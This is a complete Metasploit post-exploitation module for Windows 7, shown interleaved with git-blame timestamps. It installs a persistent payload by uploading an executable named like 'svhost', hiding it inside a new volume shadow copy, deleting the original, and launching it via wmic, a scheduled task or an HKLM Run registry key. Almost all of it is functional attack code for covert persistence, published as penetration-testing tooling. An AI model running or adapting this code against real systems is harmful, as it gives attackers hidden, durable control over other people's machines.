2013-10-11 00:20:09 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-21 18:36:15 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-10-11 00:20:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2013-10-15 16:11:04 +00:00
|
|
|
require 'msf/core/exploit/exe'
|
2013-10-11 00:20:09 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
2013-10-15 16:11:04 +00:00
|
|
|
Rank = ExcellentRanking
|
2013-10-11 00:20:09 +00:00
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::ShadowCopy
|
|
|
|
include Msf::Post::Windows::Registry
|
2013-10-15 16:11:04 +00:00
|
|
|
include Msf::Exploit::EXE
|
2013-10-11 00:20:09 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
|
|
|
|
super(update_info(info,
|
2013-10-15 15:03:00 +00:00
|
|
|
'Name' => "Persistent Payload in Windows Volume Shadow Copy",
|
2013-10-11 00:20:09 +00:00
|
|
|
'Description' => %q{
|
2013-10-15 17:13:18 +00:00
|
|
|
This module will attempt to create a persistent payload in a new volume shadow copy. This is
|
2013-10-15 14:56:18 +00:00
|
|
|
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
|
|
|
|
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
|
|
|
|
option, the user should need password in order to start session on the target machine.
|
2013-10-15 02:36:44 +00:00
|
|
|
},
|
2013-10-15 17:59:19 +00:00
|
|
|
'Author' => ['Jedediah Rodriguez <Jedi.rodriguez[at]gmail.com>'], # @MrXors
|
2013-10-11 00:20:09 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'SessionTypes' => ['meterpreter'],
|
2013-10-15 16:11:04 +00:00
|
|
|
'Targets' => [ [ 'Windows 7', {} ] ],
|
|
|
|
'DefaultTarget' => 0,
|
2013-10-11 21:17:50 +00:00
|
|
|
'References' => [
|
|
|
|
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ],
|
2013-10-15 02:36:44 +00:00
|
|
|
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
|
2013-10-15 16:11:04 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate'=> "Oct 21 2011"
|
2013-10-11 00:20:09 +00:00
|
|
|
))
|
2013-10-15 02:36:44 +00:00
|
|
|
|
2013-10-11 00:20:09 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
|
2013-10-15 02:36:44 +00:00
|
|
|
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
|
|
|
|
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
|
|
|
|
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
|
|
|
|
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
|
|
|
|
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
|
2013-10-11 00:20:09 +00:00
|
|
|
], self.class)
|
2013-10-15 02:36:44 +00:00
|
|
|
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|
2013-10-14 07:12:37 +00:00
|
|
|
|
2013-10-15 16:11:04 +00:00
|
|
|
def exploit
|
2013-10-15 02:36:44 +00:00
|
|
|
@clean_up = ""
|
|
|
|
|
|
|
|
print_status("Checking requirements...")
|
|
|
|
|
|
|
|
os = sysinfo['OS']
|
|
|
|
unless os =~ /Windows 7/
|
2013-10-21 18:38:24 +00:00
|
|
|
print_warning("This module has been tested only on Windows 7")
|
2013-10-15 02:36:44 +00:00
|
|
|
end
|
|
|
|
|
2013-10-14 07:12:37 +00:00
|
|
|
unless is_admin?
|
|
|
|
print_error("This module requires admin privs to run")
|
|
|
|
return
|
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
2015-08-01 22:13:05 +00:00
|
|
|
unless is_high_integrity?
|
2013-10-14 07:12:37 +00:00
|
|
|
print_error("This module requires UAC to be bypassed first")
|
|
|
|
return
|
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
|
|
|
print_status("Starting Volume Shadow Service...")
|
2013-10-14 07:12:37 +00:00
|
|
|
unless start_vss
|
2013-10-15 02:36:44 +00:00
|
|
|
print_error("Unable to start the Volume Shadow Service")
|
2013-10-14 07:12:37 +00:00
|
|
|
return
|
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
2013-10-15 16:11:04 +00:00
|
|
|
print_status("Uploading payload...")
|
|
|
|
remote_file = upload(datastore['RPATH'])
|
2013-10-15 02:36:44 +00:00
|
|
|
|
|
|
|
print_status("Creating Shadow Volume Copy...")
|
|
|
|
unless volume_shadow_copy
|
|
|
|
fail_with(Failure::Unknown, "Failed to create a new shadow copy")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Finding the Shadow Copy Volume...")
|
2013-10-14 07:12:37 +00:00
|
|
|
volume_data_id = []
|
2013-10-15 02:36:44 +00:00
|
|
|
cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\""
|
2013-10-14 07:12:37 +00:00
|
|
|
output = cmd_exec(cmd)
|
|
|
|
output.each_line do |line|
|
|
|
|
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}")
|
|
|
|
volume_data_id = "#{cmd_regex}"
|
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
|
|
|
print_status("Deleting malware...")
|
|
|
|
file_rm(remote_file)
|
|
|
|
|
|
|
|
if datastore["EXECUTE"]
|
|
|
|
print_status("Executing #{remote_file}...")
|
|
|
|
execute(volume_data_id, remote_file)
|
|
|
|
end
|
|
|
|
|
|
|
|
if datastore["SCHTASK"]
|
|
|
|
print_status("Creating Scheduled Task...")
|
|
|
|
schtasks(volume_data_id, remote_file)
|
|
|
|
end
|
|
|
|
|
|
|
|
if datastore["RUNKEY"]
|
|
|
|
print_status("Installing as autorun in the registry...")
|
|
|
|
install_registry(volume_data_id, remote_file)
|
|
|
|
end
|
|
|
|
|
|
|
|
unless @clean_up.empty?
|
|
|
|
log_file
|
|
|
|
end
|
2013-10-14 07:12:37 +00:00
|
|
|
end
|
|
|
|
|
2013-10-15 16:11:04 +00:00
|
|
|
def upload(trg_loc="")
|
2013-10-15 02:36:44 +00:00
|
|
|
if trg_loc.nil? or trg_loc.empty?
|
|
|
|
location = "\\Windows\\Temp"
|
2013-10-11 00:20:09 +00:00
|
|
|
else
|
2013-10-15 02:36:44 +00:00
|
|
|
location = trg_loc
|
|
|
|
end
|
|
|
|
|
|
|
|
file_name = "svhost#{rand(100)}.exe"
|
|
|
|
file_on_target = "#{location}\\#{file_name}"
|
|
|
|
|
2013-10-15 16:11:04 +00:00
|
|
|
exe = generate_payload_exe
|
|
|
|
|
2013-10-15 02:36:44 +00:00
|
|
|
begin
|
2013-10-15 16:11:04 +00:00
|
|
|
write_file("#{file_on_target}", exe)
|
2013-10-15 02:36:44 +00:00
|
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
|
|
fail_with(Failure::NotFound, e.message)
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
|
|
|
return file_on_target
|
2013-10-14 07:12:37 +00:00
|
|
|
end
|
2013-10-11 21:17:50 +00:00
|
|
|
|
2013-10-14 07:12:37 +00:00
|
|
|
def volume_shadow_copy
|
|
|
|
begin
|
|
|
|
id = create_shadowcopy(datastore['VOLUME'])
|
|
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
|
|
fail_with(Failure::NotFound, e.message)
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
2013-10-11 00:20:09 +00:00
|
|
|
if id
|
2013-10-14 07:12:37 +00:00
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|
2013-10-14 07:12:37 +00:00
|
|
|
end
|
2013-10-11 21:17:50 +00:00
|
|
|
|
2013-10-15 02:36:44 +00:00
|
|
|
def execute(volume_id, exe_path)
|
|
|
|
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
|
|
|
cmd_exec(run_cmd)
|
2013-10-14 07:12:37 +00:00
|
|
|
end
|
2013-10-11 21:17:50 +00:00
|
|
|
|
2013-10-15 02:36:44 +00:00
|
|
|
def schtasks(volume_id, exe_path)
|
|
|
|
sch_name = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\""
|
|
|
|
sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}"
|
|
|
|
cmd_exec(sch_cmd)
|
|
|
|
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
|
2013-10-14 07:12:37 +00:00
|
|
|
end
|
2013-10-11 21:17:50 +00:00
|
|
|
|
2013-10-15 02:36:44 +00:00
|
|
|
def install_registry(volume_id, exe_path)
|
|
|
|
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
|
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
|
|
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
|
|
|
|
res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ")
|
|
|
|
if res
|
|
|
|
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
|
|
|
|
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
|
2013-10-14 07:12:37 +00:00
|
|
|
else
|
2013-10-15 02:36:44 +00:00
|
|
|
print_error("Error: failed to open the registry key for writing")
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|
|
|
|
end
|
2013-10-11 21:17:50 +00:00
|
|
|
|
2013-10-14 07:12:37 +00:00
|
|
|
def clean_data
|
|
|
|
host = session.sys.config.sysinfo["Computer"]
|
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
|
|
return logfile
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|
2013-10-11 21:17:50 +00:00
|
|
|
|
2013-10-14 07:12:37 +00:00
|
|
|
def log_file
|
|
|
|
clean_rc = clean_data()
|
|
|
|
file_local_write(clean_rc, @clean_up)
|
|
|
|
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
|
|
|
end
|
2013-10-15 02:36:44 +00:00
|
|
|
|
2013-10-11 00:20:09 +00:00
|
|
|
end
|